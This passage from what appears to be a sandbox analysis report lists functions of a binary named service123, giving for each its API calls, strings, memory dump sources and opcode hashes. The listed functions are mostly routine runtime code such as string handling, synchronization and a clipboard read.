Instruction Fuzzy Hash: 56519A75B0A6918FD701DF2AC48564AFBE5AF96308F10895DE8958BB18D331D904CFC6

Function 6C38BA70 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 139COMMON

Download Yara Rule

Strings

basic_string::_M_construct null not valid, xrefs: 6C38BB02
basic_string::_M_create, xrefs: 6C38BB0E
basic_string::_M_construct null not valid, xrefs: 6C38BBE1

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID: basic_string::_M_construct null not valid$basic_string::_M_construct null not valid$basic_string::_M_create
API String ID: 0-3226423506
Opcode ID: d4edfebb85e83a88486507c88e5b4ce73de1324752ff47aa55f3efff2a9c998b
Instruction ID: 5ad7c3ff86ca25d7fd2a055c4b92c57992fa3ce1352fd06c8fa952eac161581c
Opcode Fuzzy Hash: d4edfebb85e83a88486507c88e5b4ce73de1324752ff47aa55f3efff2a9c998b
Instruction Fuzzy Hash: A941BBB6A0A3018BD710AF6894C0A5EFBE0EF99658F114D2EE8D48BB05D7319448CF93

Function 6C2F60C6 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 118COMMON

Download Yara Rule

Strings

this, xrefs: 6C2F764C
}, xrefs: 6C2F7640
parm#, xrefs: 6C2F60E1

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID: parm#$this$}
API String ID: 0-728413427
Opcode ID: a50e6190ebf39ddd04e4f304c27517f8e753c7c7f0769d0527084cb246e46c23
Instruction ID: 4b1452565f248f8fca346d0db111f1bb9b2369bff2455edc52ee9292bd98f88b
Opcode Fuzzy Hash: a50e6190ebf39ddd04e4f304c27517f8e753c7c7f0769d0527084cb246e46c23
Instruction Fuzzy Hash: 31516E7154D3968BCB018F28C0C07E9BBE1AF55708F1988BDECD88F746D7B584869B62

Function 6C30A470 Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 6C30A4C2
MultiByteToWideChar.KERNEL32 ref: 6C30A505

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: ab39fe7c454ba96233ccc9f86f732d7138362199357a3553a7ca9753d9b47d43
Instruction ID: 415604089f18cb5ad4b8db277bdcf8e0b3bcbff079427a7665554a7add732422
Opcode Fuzzy Hash: ab39fe7c454ba96233ccc9f86f732d7138362199357a3553a7ca9753d9b47d43
Instruction Fuzzy Hash: 5241E5B16093418FDB00DF29E59425ABBF0BF86318F14895EE8D48B790E776D849CF52

Function 004B78E0 Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 004B7932
MultiByteToWideChar.KERNEL32 ref: 004B7975

Memory Dump Source

Source File: 00000004.00000002.2903083311.00000000004B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000004.00000002.2903027099.00000000004B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903096951.00000000004BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903109268.00000000004BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903121382.00000000004C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b0000_service123.jbxd

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: 38ed99a46114c42ff959efd5b779451d4c7a62f45a66a4ce4001327fa73101a5
Instruction ID: 6a8ebab03aedca429434b06eb511515227925033ec997cf593fb4b99e03f48ef
Opcode Fuzzy Hash: 38ed99a46114c42ff959efd5b779451d4c7a62f45a66a4ce4001327fa73101a5
Instruction Fuzzy Hash: 3B41F5B050D3418FE710DF28D48469BBBE0BF89314F04896EE89597391E37AD949CB67

Function 6C320D70 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 88stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C320D93
memcpy.MSVCRT ref: 6C320DFF
wcslen.MSVCRT ref: 6C320E42

Strings

basic_string::_M_construct null not valid, xrefs: 6C320E0C

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memcpystrlenwcslen
String ID: basic_string::_M_construct null not valid
API String ID: 339887217-3522614731
Opcode ID: ded4d199add14252a3a3f6515b112578c978e915bdf41b84690f59b5250236d8
Instruction ID: 81b891433be8045d2fddda39ad26c80e5af199e3d2bd63412958d1f4d0546bdc
Opcode Fuzzy Hash: ded4d199add14252a3a3f6515b112578c978e915bdf41b84690f59b5250236d8
Instruction Fuzzy Hash: F8216DB560A7508FC700EF2CD48065ABBE4EF89214F55896DE8C8DB715D331E849CFA2

Function 6C2FE168 Relevance: 6.1, APIs: 4, Instructions: 82synchronizationCOMMON

Download Yara Rule

APIs

ReleaseSemaphore.KERNEL32 ref: 6C2FE208
CreateSemaphoreW.KERNEL32 ref: 6C2FE24F
WaitForSingleObject.KERNEL32 ref: 6C2FE2A0

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: Semaphore$CreateObjectReleaseSingleWait
String ID:
API String ID: 3817295960-0
Opcode ID: 58eabda16b061d65df51e72caf88490d6cabda80126cb79f0cd02f343c81cd82
Instruction ID: 8dd8d1400b64e1440c929f6ed9ecac5f7c642ccdc98dd8fb1edd4b1c99607302
Opcode Fuzzy Hash: 58eabda16b061d65df51e72caf88490d6cabda80126cb79f0cd02f343c81cd82
Instruction Fuzzy Hash: 61314A707852098FEB05EF29C58470ABBF1BB47329F14861DECA88B284E335D9558FC2

Function 6C2FF610 Relevance: 6.1, APIs: 4, Instructions: 82synchronizationCOMMON

Download Yara Rule

APIs

ReleaseSemaphore.KERNEL32 ref: 6C2FF6B2
CreateSemaphoreW.KERNEL32 ref: 6C2FF6F7
WaitForSingleObject.KERNEL32 ref: 6C2FF740

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: Semaphore$CreateObjectReleaseSingleWait
String ID:
API String ID: 3817295960-0
Opcode ID: 24b59968e6d273a5f0fcee6b1e3333d063fd978336c5bf8f1d46ee0e6d226b6d
Instruction ID: c12dda311791222b6d2bd5f7bb114bed3a0f4a36b70ceab535155d97b7ca2076
Opcode Fuzzy Hash: 24b59968e6d273a5f0fcee6b1e3333d063fd978336c5bf8f1d46ee0e6d226b6d
Instruction Fuzzy Hash: D63129707892098FDB00EF29C68470BBBF0BB46325F14861DECA88B684D735E556CF92

Function 004B1001 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 004B1075
__p__fmode.MSVCRT ref: 004B107A
__p__commode.MSVCRT ref: 004B1087

Memory Dump Source

Source File: 00000004.00000002.2903083311.00000000004B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000004.00000002.2903027099.00000000004B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903096951.00000000004BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903109268.00000000004BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903121382.00000000004C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b0000_service123.jbxd

Similarity

API ID: __p__commode__p__fmode__set_app_type
String ID:
API String ID: 3338496922-0
Opcode ID: fc1231a0cb7afe6eba1e849336f874be6b00b4a7d55fbfffc47e74619702742b
Instruction ID: 4a66f21660dd3497e32adc0a5adeb0cfac2a6a06feefe1ab72214df770a76af1
Opcode Fuzzy Hash: fc1231a0cb7afe6eba1e849336f874be6b00b4a7d55fbfffc47e74619702742b
Instruction Fuzzy Hash: F7219D70540201CBC314BF70E8A53E637A1FB40348F948A3AC4085BA66D77E98CADBB9

Function 6C30B057 Relevance: 6.0, APIs: 4, Instructions: 38clipboardCOMMON

Download Yara Rule

APIs

GetClipboardData.USER32 ref: 6C30B067
GlobalLock.KERNEL32 ref: 6C30B079
GlobalUnlock.KERNEL32 ref: 6C30B09A
CloseClipboard.USER32 ref: 6C30B0A3
CloseClipboard.USER32 ref: 6C30B0C8

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: Clipboard$CloseGlobal$DataLockUnlock
String ID:
API String ID: 3186146249-0
Opcode ID: 387701ec9837d6b97e7bffb490933847e75944b7ce4c1853e9acd91d32a77dcf
Instruction ID: 170889ea0a8d3fe9bbc541bbd55fbc58b2d546461a1e74fede96744d5235a261
Opcode Fuzzy Hash: 387701ec9837d6b97e7bffb490933847e75944b7ce4c1853e9acd91d32a77dcf
Instruction Fuzzy Hash: 95F031B27092458FEB00BF78A5891AEBBF0BF41248F010A3DD8D297644DB35A45D8F97

Function 004B1B30 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 195COMMON

Download Yara Rule

Strings

Unknown pseudo relocation protocol version %d., xrefs: 004B1D9D
Unknown pseudo relocation bit size %d., xrefs: 004B1C3C

Memory Dump Source

Source File: 00000004.00000002.2903083311.00000000004B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000004.00000002.2903027099.00000000004B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903096951.00000000004BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903109268.00000000004BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903121382.00000000004C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b0000_service123.jbxd

Similarity

API ID:
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 0-395989641
Opcode ID: 03af755fa8f57a6aeb9269bf81c1b296b86988125867a612860d2e98e5332582
Instruction ID: a0180e28436eae6c216d736eb52365d533de4b82e4b1631ee004af5acc1f0285
Opcode Fuzzy Hash: 03af755fa8f57a6aeb9269bf81c1b296b86988125867a612860d2e98e5332582
Instruction Fuzzy Hash: 8B71A2719042058BCB04DF68D8D02DABBF1FF85344F69862BD88597325E738E915CBAE

Function 6C2FA730 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 171COMMON

Download Yara Rule

Strings

Unknown pseudo relocation bit size %d., xrefs: 6C2FA83C
Unknown pseudo relocation protocol version %d., xrefs: 6C2FA99D

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 0-395989641
Opcode ID: bce2c35453ec33f67d86eb7f1850e4a8c1f6fefeff6206f03aab74a0e52d476c
Instruction ID: 5487c8a22b5cd18ce6258868143bd0eff84fea3c3db0f581e5dcb6ca2137eea3
Opcode Fuzzy Hash: bce2c35453ec33f67d86eb7f1850e4a8c1f6fefeff6206f03aab74a0e52d476c
Instruction Fuzzy Hash: 3251823AA8521DCFCB00DF18D88068AF7B5BB85344F168529DDA59BB05D730F847CB91

Function 6C3804B0 Relevance: 5.4, APIs: 4, Instructions: 412stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C380536

Part of subcall function 6C3113B0: memcpy.MSVCRT ref: 6C3113EA

wcslen.MSVCRT ref: 6C3805B6
wcslen.MSVCRT ref: 6C380643
wcslen.MSVCRT ref: 6C3806D0

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: wcslen$memcpystrlen
String ID:
API String ID: 3111578849-0
Opcode ID: 96402b1692ec8a8921ba3a52f4e1cde2ff52d76c9896b4b670491f5bbae5d9c4
Instruction ID: 4fa8e8af10cf68a43e9157d2c52859e2ca2e8f28e84252f0fba128ad17a79194
Opcode Fuzzy Hash: 96402b1692ec8a8921ba3a52f4e1cde2ff52d76c9896b4b670491f5bbae5d9c4
Instruction Fuzzy Hash: E6025C70A06645CFCB04DF68C084A9EBBF0EF89318F108969D895DBB54EB35E945CF92

Function 6C37FC30 Relevance: 5.4, APIs: 4, Instructions: 412stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C37FCB6

Part of subcall function 6C3113B0: memcpy.MSVCRT ref: 6C3113EA

wcslen.MSVCRT ref: 6C37FD36
wcslen.MSVCRT ref: 6C37FDC3
wcslen.MSVCRT ref: 6C37FE50

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: wcslen$memcpystrlen
String ID:
API String ID: 3111578849-0
Opcode ID: 6a5e2c2d1c2b77b359b9e689703e3f2cd1f78310462343a9144b4181b3012b15
Instruction ID: f0c8b1f893926752a759526b3eea556782bbdc4dfacc6a80b383cb4fd0f240df
Opcode Fuzzy Hash: 6a5e2c2d1c2b77b359b9e689703e3f2cd1f78310462343a9144b4181b3012b15
Instruction Fuzzy Hash: 04025AB4A056058FCB04DF68C084A9EBBF0FF49318F108969E895DBB54EB35E945CF92

Function 6C37EA70 Relevance: 5.4, APIs: 4, Instructions: 391stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C37EAFB
strlen.MSVCRT ref: 6C37EB95
strlen.MSVCRT ref: 6C37EC12
strlen.MSVCRT ref: 6C37EC8F

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: f26f27e2bc38baed81f2d2eb0e924998203074e59eacd84ddea94724504812bb
Instruction ID: f24dbc25281e69eacb129ef29fe96b720314794584395a966357343d634383de
Opcode Fuzzy Hash: f26f27e2bc38baed81f2d2eb0e924998203074e59eacd84ddea94724504812bb
Instruction Fuzzy Hash: EAF16874A083058FCB08DF68C184A9EBBF0AF49314F108A6DE894DBB54E735E945CF96

Function 6C37F350 Relevance: 5.4, APIs: 4, Instructions: 391stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C37F3DB
strlen.MSVCRT ref: 6C37F475
strlen.MSVCRT ref: 6C37F4F2
strlen.MSVCRT ref: 6C37F56F

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 70e91bde06033e1270bc42b200639bde74de4ccc85a1045e9685d39581f1cead
Instruction ID: 858c971a58fa8f8245d0b484ea0b51cc565d5fac2e6f1ca80128b7df6d42c1e2
Opcode Fuzzy Hash: 70e91bde06033e1270bc42b200639bde74de4ccc85a1045e9685d39581f1cead
Instruction Fuzzy Hash: 4AF168B4A046458FCB04DF6DC080A9EBBF0BF49314F108A69E894DBB54E739E905CF96

Function 004B18E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 004B194E

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 004B192F
Unknown error, xrefs: 004B18E2

Memory Dump Source

Source File: 00000004.00000002.2903083311.00000000004B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000004.00000002.2903027099.00000000004B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903096951.00000000004BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903109268.00000000004BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903121382.00000000004C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b0000_service123.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 5f44469791f7906a3b78444c3c2b2d0ab3bcbbd38871de0f5f81dfa67fa4ae3c
Instruction ID: 58595563bcf37f41aa248eb576874d3c4cccfae6f3fd4f852c6f45a93aaa6b3b
Opcode Fuzzy Hash: 5f44469791f7906a3b78444c3c2b2d0ab3bcbbd38871de0f5f81dfa67fa4ae3c
Instruction Fuzzy Hash: EE01D270408B45DBC300AF15E88845ABFF1FF89354F82889DE5C846269CB36D8B8C75B

Function 6C309230 Relevance: 5.1, APIs: 4, Instructions: 55sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,00000001,6C309361), ref: 6C309257
InitializeCriticalSection.KERNEL32(?,?,?,00000001,6C309361), ref: 6C309294
InitializeCriticalSection.KERNEL32(?,?,?,?,00000001,6C309361), ref: 6C3092A0
EnterCriticalSection.KERNEL32(?,?,?,00000001,6C309361), ref: 6C3092C8

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: CriticalSection$Initialize$EnterSleep
String ID:
API String ID: 1117354567-0
Opcode ID: 6846368cbf79549b72d5c9b0b3a4c4742cc260ec9e4018b8d9f91e7f043c367b
Instruction ID: ce5ff044c4069797824da8e8dc553a004536a833442d294d6027ce5041924527
Opcode Fuzzy Hash: 6846368cbf79549b72d5c9b0b3a4c4742cc260ec9e4018b8d9f91e7f043c367b
Instruction Fuzzy Hash: 731151B27452048AEB00FF68D5C665A7BB8EB06314F510929C482C2A85D732E9A4CF93

Function 004B69E0 Relevance: 5.1, APIs: 4, Instructions: 55sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,?,004B6B11,?,?,?,?,?,?,00000000,004B4EB4), ref: 004B6A07
InitializeCriticalSection.KERNEL32(?,?,?,?,004B6B11,?,?,?,?,?,?,00000000,004B4EB4), ref: 004B6A44
InitializeCriticalSection.KERNEL32(?,?,?,?,?,004B6B11,?,?,?,?,?,?,00000000,004B4EB4), ref: 004B6A50
EnterCriticalSection.KERNEL32(?,?,?,?,004B6B11,?,?,?,?,?,?,00000000,004B4EB4), ref: 004B6A78

Memory Dump Source

Source File: 00000004.00000002.2903083311.00000000004B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000004.00000002.2903027099.00000000004B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903096951.00000000004BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903109268.00000000004BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903121382.00000000004C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b0000_service123.jbxd

Similarity

API ID: CriticalSection$Initialize$EnterSleep
String ID:
API String ID: 1117354567-0
Opcode ID: 937759b5deeb78d5ce33acedbc45b8e2e757f892556f5427845f22f1a96df2df
Instruction ID: e4f64103e4a4d7bc7712ac74bd59877a152d7752b4e3b3cde3f1765c0cca63b1
Opcode Fuzzy Hash: 937759b5deeb78d5ce33acedbc45b8e2e757f892556f5427845f22f1a96df2df
Instruction Fuzzy Hash: 901170B15145148BDF10EB2CA8C529A77A4AB0E310F16863AD442E7354E73DD894CBBE

Function 6C2FA9B0 Relevance: 5.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 6C2FA9BE
TlsGetValue.KERNEL32 ref: 6C2FA9E5
GetLastError.KERNEL32 ref: 6C2FA9EC
